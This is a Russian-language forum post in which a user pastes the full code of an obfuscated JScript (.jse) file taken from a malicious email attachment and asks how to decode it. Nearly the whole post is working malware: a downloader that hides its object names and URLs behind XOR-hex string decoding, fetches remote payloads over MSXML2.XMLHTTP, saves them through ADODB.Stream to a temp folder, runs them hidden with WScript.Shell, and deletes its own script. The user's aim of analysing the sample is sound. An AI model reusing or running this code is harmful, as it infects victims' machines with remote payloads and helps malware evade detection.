Пришло на почту письмо с вирусом, открыл в песочнице архив, вынул файл jse и вот его код... Он загружает много разных вредоносных штук. Как расшифровать эти функции для расширения кругозора? Или подскажите, куда идти с этим вопросом?
function kfv(tdD, Fh)
{
var CH = "le" + "ngt" + "h";
var QOM = tdD[CH];
var vT = Fh[CH];
var J = 0;
var lv = "";
while (J < QOM)
{
var QI = J / 2;
var ffF = Gpr();
ffF += "t";
var G = tdD[ffF](J);
G = G + tdD[ffF](J + 1);
++J; ++J;
var MD = Fo();
MD += "At";
var xWd = Fh[MD](QI % vT);
var JNS = X(G, xWd);
lv = lv + JNS;
}
return lv;
}
function Fo()
{
var MD = "c" + "ha" + "rC" + "o";
MD += "de";
return MD;
}
function Gpr()
{
return "charA";
}
function v(O)
{
var W = "";
var d = 0;
var JmZ = hj(O+4);
var Tjs = 0;
if ((O == Tjs))
return false;
var b = "X" + "ML2" + ".X" + "ML";
b += "HTTP";
Tjs = new JmZ("M" + "S" + b);
try
{
pp = Tjs++;
}
catch (OM)
{
return !zzL(Tjs);
}
return false;
}
function n(fb, Z)
{
return kfv(fb, Z);
}
function z(kUS, Cf)
{
kUS[n("20140700","odbn7TYhStvEA5fGNU")]();
kUS[n("30411834","d8hQvUKa5j7v1oC")] = 1;
kUS[n("3F01510600","hs8repD2DWel")](Cf[n("161C24451B2C351C323B213D","DyW5tBFypTE")]);
kUS[n("001E125A1F112E59","Pqa3kxA7ML")] = 0;
}
function X(F, wT)
{
return String.fromCharCode(parseInt(F, 8 + 8) ^ wT);
}
function zzL(N)
{
var M = "V" + "D" + "\x4C" + "\x37" + "j" + "V" + "\x4F" + "\x79" + "\x6F" + "\x71" + "\x6B";
var iAg = typeof N[n("19342959",M)];
var taq = "\x42" + "\x51" + "W" + "\x55" + "\x77" + "B" + "D" + "\x37" + "M" + "Q" + "\x56" + "\x57" + "3" + "f" + "2" + "S" + "X";
var srW = (n("373F3C3B18352A",taq));
return (iAg != srW );
}
function Xh(Kqd, hU)
{
var Hb = WScript;
Kqd[hU](Hb[n("37221604340014050B392A200908","dAdmDtRpgU")]);
}
function Rto(Hsc)
{
var Lk=498919;
var VRL=Lk+18897;
var zP=VRL/676;
var cQ=zP-305;
var I = cQ;
var Q=110697;
var flw=Q+51031;
var Fv=flw/722;
var ts=Fv-208;
var avq = parseInt(Hsc, ts);
return avq;
}
function K(xD, yid)
{
return Rto(xD);
}
function l()
{
return "GetSpecialFolder";
}
function T()
{
return "f" + "i" + "e" + "l" + "d" + "s";
}
function ewH()
{
return "appendC" + "hunk";
}
function e(Ux)
{
var Hnp = 128;
var B = "not";
try
{
var Gmq = "t" + "f" + "V" + "\x54" + "\x55" + "\x71" + "e" + "x" + "B" + "\x74" + "l" + "x" + "2";
B = "\\" + Ux[n("33032200301C1536231909",Gmq)]();
B = B + Hnp[n("0E5C3028722E","m4QZ3Z7baO")](256);
}
catch (u)
{
B = Ux[l()](2) + B;
}
return B;
}
function C(JIt, hU)
{
JIt["run"](hU, 0);
return 8;
}
function sv()
{
return "va" + "l" + "ue";
}
function o()
{
return "b" + "in";
}
function q()
{
return n("302239212B7C393C5403023101034D","qfveiRkY7lpUrf9gd");
}
function V()
{
return "update";
}
function r(fw, JIt, OW)
{
var qn = new JIt(q());
var os = fw["Si" +"ze"];
qn[T()]["a" + "pp" + "end"]("bin", 201, 2 + os - 2);
qn["o" + "pen"]();
qn["ad" + "d" + "N" + "ew"]();
var RoM = ewH();
qn(o())[RoM](OW);
var c = V();
qn[c]();
return qn(o())[sv()];
}
function hR(fw, Hf, JIt)
{
var pt = "\x70" + "u" + "C" + "\x55" + "\x67" + "p" + "9" + "\x4B" + "8" + "r" + "O" + "u" + "b" + "\x66" + "\x6A" + "7";
var VW = n("23143530331F7F225417",pt);
var sD = fw["R" + "ead"]();
sD = r(fw, JIt, sD);
if (sD.length > 10)
{
fw[VW](Hf);
return (99 > 77);
}
return false;
}
function osm()
{
var PQ = n("3655291C0210156D192017","U8M2ghpM6C7pnmzZ");
return PQ;
}
function lx(ue)
{
return new ue("MSXML" + "2.XMLHTTP");
}
function OK(Cf, JFK)
{
var j = "2511002B";
var zE = "k" + "\x7A" + "E" + "y" + "L" + "\x71" + "s" + "\x31" + "\x37" + "\x6C" + "P" + "M";
var KN = "2C3F11";
var eNN=425628;
var yKS=eNN+20532;
var HHL=yKS/715;
var EKF=HHL-624;
Cf[n(j,"JaeEjodLCcrtGiq5C")](n(KN,zE), JFK, EKF);
try {
var sP = "l" + "\x67" + "4" + "\x79" + "\x4C" + "X" + "D" + "\x4E" + "U" + "f" + "\x64" + "\x58" + "1" + "J" + "\x6A" + "O" + "2" + "\x69";
var Bdl = "1F025A1D";
Cf[n(Bdl,sP)]();
} catch (GcL) {
return (1-1);
}
return 1;
}
function uG()
{
if (7 > 4)
{
return f(n("5C2E1C077141620E2914300E201F23512801102307630A3C4822032019205D291C052A1A22116705220426053E477505042C4027132F","4ZhwKnMcHgCgMpN"));
}
else return 0;
}
function hj(g)
{
var NP=["Ac","iv","t","O","t","bj","ec","eX"];
var UY=NP[0]+NP[2]+NP[1]+NP[7]+NP[3]+NP[5]+NP[6]+NP[4];
var oOe = UY;
return eval(oOe);
}
function bf()
{
if (45 > 32)
{
return f(n("0E03203D1C576E422E2B331F3B4300057B3A1F4020092A2F2943391E155837220302331E68242B193F420B043363051D26","fwTMomAmGFGlZm"));
}
else return 0;
}
function UJ(m, aV)
{
return new m(aV);
}
function NbL(grF)
{
return UJ(hj(45), grF);
}
function uHf(ixB)
{
var bx;
if (ixB == 1)
{
var RN = "\x65" + "\x69" + "C" + "K" + "\x77" + "\x36" + "\x76" + "\x56" + "\x30" + "\x41" + "\x6C" + "e" + "e" + "\x45";
bx = new NbL(n("360A312207421F38576F2A0C09203610303F125B39345A240F11",RN));
}
else
{
var Ch = "d" + "\x38" + "B" + "\x67" + "\x33" + "0" + "Y" + "6" + "\x32" + "y" + "\x41";
bx = new NbL(n("257C0D23711E0A42401C2009",Ch));
}
return bx;
}
function f(bRK)
{
var gf;
var Tt;
var XO = lx(hj(42));
var U = 0;
if (OK(XO, bRK) == 0)
return false;
var AJa = "663B19392D04";
var ROw=162831;
var vWV=ROw+9694;
var dBV=vWV/335;
var MNv=dBV-313;
var Ht=633750;
var nb=Ht+59217;
var Nx=nb/759;
var IuQ=Nx-911;
if (XO[n(AJa,"5OxMXwvDsP")] != MNv - IuQ)
return false;
var qp = uHf(1);
var Vh = uHf(2);
bRK = e(qp);
z(Vh, XO);
if (hR(Vh, bRK, hj(7))) {} else
return (2>3);
var mx = "162D370427";
Vh[n(mx,"UAXwBJjMZCKLt")]();
var k = hj(144);
var vx = "00442E4304112C472000211534";
var ndq = n(vx,"W7M1maXishDyXqzd");
gf = UJ(k, ndq );
Tt = osm() + bRK;
var zo = ((U = C(gf, Tt)) < 10);
if (zo)
{
var P = "3206010004232301551F";
bRK = n(P,"VcmepFeh9zWw2Adt");
Xh(qp, bRK);
return ((6+7)>8);
}
return U;
}
function t(us)
{
if ((us > 5) && v(1))
{
var ut = uG();
if (ut == false)
ut = bf();
var mAd=2280;
var H=mAd+1734;
var bV=H/223;
var Yb=bV-15;
return Yb;
}
var Lot=76466;
var Vm=Lot+394;
var NyY=Vm/549;
var Vc=NyY-136;
return Vc;
}
t(12);
var OaHcu = 096;